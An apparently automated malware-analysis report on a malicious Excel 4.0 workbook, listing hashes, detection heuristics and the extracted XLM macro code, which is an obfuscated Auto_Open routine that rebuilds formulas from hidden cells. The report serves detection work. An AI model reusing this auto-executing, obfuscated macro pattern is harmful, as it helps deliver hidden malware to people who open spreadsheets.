Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24c3e5bb268a11b2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:32 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: bf858c78057bcfcd5af465ba0bc54211 SHA-1: 57b278683ff0be196b6c7a5017f1e61e59446f4d SHA-256: 24c3e5bb268a11b2b72c37d699843605f34d18f5d62326cbcc4014ae4adad83b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6389 bytes
SHA-256: deca19175953fd43bb31f6b4a81facfb21d995946607353cea8ecea94794a198
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XswME
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B172 
' 0018     20 LABEL : Cell Value, String Constant - ayPZW len=0 
' 0018     20 LABEL : Cell Value, String Constant - CCsdg len=0 
' 0018     22 LABEL : Cell Value, String Constant - CoBzJeT len=0 
' 0018     21 LABEL : Cell Value, String Constant - dRBinW len=0 
' 0018     25 LABEL : Cell Value, String Constant - GySznbSnTP len=0 
' 0018     26 LABEL : Cell Value, String Constant - hMitWLirZYf len=0 
' 0018     22 LABEL : Cell Value, String Constant - iOxhdXh len=0 
' 0018     20 LABEL : Cell Value, String Constant - IQDHz len=0 
' 0018     24 LABEL : Cell Value, String Constant - iqtWAQhme len=0 
' 0018     24 LABEL : Cell Value, String Constant - ONDttFsix len=0 
' 0018     20 LABEL : Cell Value, String Constant - pRlZV len=0 
' 0018     22 LABEL : Cell Value, String Constant - QIJOPLe len=0 
' 0018     27 LABEL : Cell Value, String Constant - RicsVNpjeeTH len=0 
' 0018     21 LABEL : Cell Value, String Constant - SNHUjX len=0 
' 0018     21 LABEL : Cell Value, String Constant - tsXBEX len=0 
' 0018     20 LABEL : Cell Value, String Constant - vDyIE len=0 
' 0018     20 LABEL : Cell Value, String Constant - yaSGZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - yDEFPIKMa len=0 
' 0018     26 LABEL : Cell Value, String Constant - YeSEExIhpHY len=0 
' 0018     25 LABEL : Cell Value, String Constant - yUTQggxkqX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XswME,B88,"SET.NAME("iqtWAQhme",VALUE("0"))",""
'  XswME,B91,"SET.NAME("vDyIE",iqtWAQhme)",""
'  XswME,B96,"SET.NAME("QIJOPLe",iqtWAQhme)",""
'  XswME,B99,"SET.NAME("pRlZV",COUNTA(yUTQggxkqX))",""
'  XswME,B101,"SET.NAME("RicsVNpjeeTH",COUNTA(dRBinW))",""
'  XswME,B105,[],""
'  XswME,B107,"SET.NAME("ayPZW","")",""
'  XswME,B111,"vDyIE",""
'  XswME,B113,"SET.NAME("IQDHz",HLOOKUP("*",yUTQggxkqX,vDyIE,FALSE))",""
'  XswME,B118,"YeSEExIhpHY",""
'  XswME,B120,"SET.NAME("yDEFPIKMa",iqtWAQhme)",""
'  XswME,B123,[],""
'  XswME,B125,"yDEFPIKMa",""
'  XswME,B128,"SNHUjX",""
'  XswME,B130,"CoBzJeT",""
'  XswME,B135,"iOxhdXh",""
'  XswME,B140,"SET.NAME("yaSGZ",VALUE(HLOOKUP("*",dRBinW,iOxhdXh,FALSE)))",""
'  XswME,B143,"ONDttFsix",""
'  XswME,B147,"ayPZW",""
'  XswME,B150,"QIJOPLe",""
'  XswME,B155,NEXT(),""
'  XswME,B157,"CCsdg",""
'  XswME,B159,"SET.NAME("f",INT(T(FORMULA(T(ayPZW)&"",""&T(CCsdg)))))",""
'  XswME,B161,"GySznbSnTP",""
'  XswME,B164,NEXT(),""
'  XswME,B169,RETURN(),""
'  XswME,B189,"SET.NAME("hMitWLirZYf",B88)",""
'  XswME,B194,"yUTQggxkqX",""
'  XswME,B196,"SET.NAME("dRBinW",R73C13)",""
'  XswME,B200,"SET.NAME("GySznbSnTP",207)",""
'  XswME,B204,"SET.NAME("tsXBEX",2)",""
'  XswME,B206,hMitWLirZYf(),""
'  XswME,B207,HALT(),""